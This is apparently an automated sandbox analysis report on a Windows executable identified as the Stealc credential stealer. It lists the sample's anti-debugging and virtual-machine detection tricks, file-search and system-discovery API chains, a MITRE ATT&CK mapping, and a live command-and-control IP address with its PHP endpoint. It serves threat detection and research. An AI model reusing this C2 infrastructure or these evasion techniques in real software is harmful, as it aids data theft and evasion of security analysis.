Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B16261 second address: B1627E instructions: 0x00000000 rdtsc 0x00000002 je 00007FB9C8FCDCA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b jo 00007FB9C8FCDCA6h 0x00000011 jmp 00007FB9C8FCDCABh 0x00000016 pop esi 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1627E second address: B162A6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB9C8FCBEA5h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FB9C8FCBE9Fh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B162A6 second address: B162AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B19B12 second address: B19B30 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB9C8FCBEA8h 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B19B30 second address: B19B34 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B19B34 second address: B19B57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB9C8FCBEA9h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B19E3F second address: B19E45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B19E45 second address: B19E4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B19E4D second address: B19E51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B19E51 second address: B19E55 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1A413 second address: B1A417 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1A417 second address: B1A41B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1A41B second address: B1A426 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1A426 second address: B1A42C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1A42C second address: B1A430 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1A430 second address: B1A43C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1A43C second address: B1A446 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FB9C8FCDCA6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1A82A second address: B1A82F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1A82F second address: B1A83B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 ja 00007FB9C8FCDCA6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1A83B second address: B1A865 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FB9C8FCBEA9h 0x00000010 jg 00007FB9C8FCBE96h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1EBDE second address: B1EBE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1EBE9 second address: B1EBED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1F145 second address: B1F1B6 instructions: 0x00000000 rdtsc 0x00000002 js 00007FB9C8FCDCA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push edx 0x00000011 call 00007FB9C8FCDCA8h 0x00000016 pop edx 0x00000017 mov dword ptr [esp+04h], edx 0x0000001b add dword ptr [esp+04h], 0000001Bh 0x00000023 inc edx 0x00000024 push edx 0x00000025 ret 0x00000026 pop edx 0x00000027 ret 0x00000028 mov edx, dword ptr [ebp+12473A80h] 0x0000002e push dword ptr [ebp+122D3005h] 0x00000034 jmp 00007FB9C8FCDCB5h 0x00000039 mov dh, 95h 0x0000003b call 00007FB9C8FCDCA9h 0x00000040 push eax 0x00000041 push edx 0x00000042 jmp 00007FB9C8FCDCB2h 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1F1B6 second address: B1F1BB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1F1BB second address: B1F1E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jc 00007FB9C8FCDCB0h 0x0000000e pushad 0x0000000f jnl 00007FB9C8FCDCA6h 0x00000015 push eax 0x00000016 pop eax 0x00000017 popad 0x00000018 mov eax, dword ptr [esp+04h] 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 jbe 00007FB9C8FCDCA6h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1F1E1 second address: B1F1EB instructions: 0x00000000 rdtsc 0x00000002 js 00007FB9C8FCBE96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1F1EB second address: B1F1F0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B20AFB second address: B20B12 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB9C8FCBEA1h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B20B12 second address: B20B16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B20B16 second address: B20B24 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B20B24 second address: B20B28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B20B28 second address: B20B52 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007FB9C8FCBEA3h 0x0000000e push eax 0x0000000f push edx 0x00000010 jns 00007FB9C8FCBE96h 0x00000016 jl 00007FB9C8FCBE96h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B20B52 second address: B20B5C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B20B5C second address: B20B60 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180338 second address: 518033E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 518033E second address: 5180342 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180374 second address: 518037A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 518037A second address: 518038C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 pushad 0x0000000a mov ax, F891h 0x0000000e push eax 0x0000000f push edx 0x00000010 mov al, 28h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 518038C second address: 51803A9 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], ebp 0x0000000a jmp 00007FB9C8FCDCABh 0x0000000f mov ebp, esp 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51803A9 second address: 51803AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51803AD second address: 51803B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51803B3 second address: 51803B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51803B9 second address: 51803BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51803BD second address: 51803D4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FB9C8FCBE9Ah 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51803D4 second address: 51803E3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB9C8FCDCABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 891A9C instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: ABCBDE instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006438B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_006438B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00644910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00644910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0063DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0063DA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0063E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0063E430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00644570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00644570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0063ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0063ED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0063BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0063BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0063DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0063DE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006316D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_006316D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00643EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00643EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0063F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0063F6B0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00631160 GetSystemInfo,ExitProcess,

0_2_00631160

Source: file.exe, file.exe, 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.1787435060.00000000014A5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWz
Source: file.exe, 00000000.00000002.1787435060.00000000014A5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1787435060.0000000001473000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.1787435060.000000000142E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13432
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13451
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13429
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13483
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13443

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_006345C0 VirtualProtect ?,00000004,00000100,00000000

0_2_006345C0

Source: C:\Users\user\Desktop\file.exe

0_2_00649860

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00649750 mov eax, dword ptr fs:[00000030h]

0_2_00649750

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00647850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00647850

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 6756, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00649600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00649600

Source: file.exe, file.exe, 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: <_Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_00647B90

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00646920 GetSystemTime,sscanf,SystemTimeToFileTime,SystemTimeToFileTime,ExitProcess,

0_2_00646920

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00647850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00647850

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00647A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_00647A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.630000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.1746371608.0000000005000000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1787435060.000000000142E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6756, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.630000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.1746371608.0000000005000000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1787435060.000000000142E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6756, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	11 Process Injection	1 Masquerading	OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	33 Virtualization/Sandbox Evasion	LSASS Memory	641 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Disable or Modify Tools	Security Account Manager	33 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	13 Process Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Account Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	4 Obfuscated Files or Information	Cached Domain Credentials	1 System Owner/User Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	1 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	324 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
http://185.215.113.37/	100%	URL Reputation	malware
http://185.215.113.37	100%	URL Reputation	malware
http://185.215.113.37/e2b1563c6670f193.php	100%	URL Reputation	malware
http://185.215.113.37/ws	17%	Virustotal		Browse
http://185.215.113.37/e2b1563c6670f193.phpO	17%	Virustotal		Browse

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.php	true	URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.37	file.exe, 00000000.00000002.1787435060.000000000142E000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.phpO	file.exe, 00000000.00000002.1787435060.0000000001488000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
http://185.215.113.37/ws	file.exe, 00000000.00000002.1787435060.0000000001488000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
http://185.215.113.37t	file.exe, 00000000.00000002.1787435060.000000000142E000.00000004.00000020.00020000.00000000.sdmp	true		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.37	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1525381
Start date and time:	2024-10-04 04:40:05 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 5s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	1
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@1/0@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 80% Number of executed functions: 19 Number of non-executed functions: 80
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Report size getting too big, too many NtQueryValueKey calls found.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.37	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	RDPWrap Tool, Amadey, Socks5Systemz, Stealc, Vidar, Xmrig	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

⊘No context

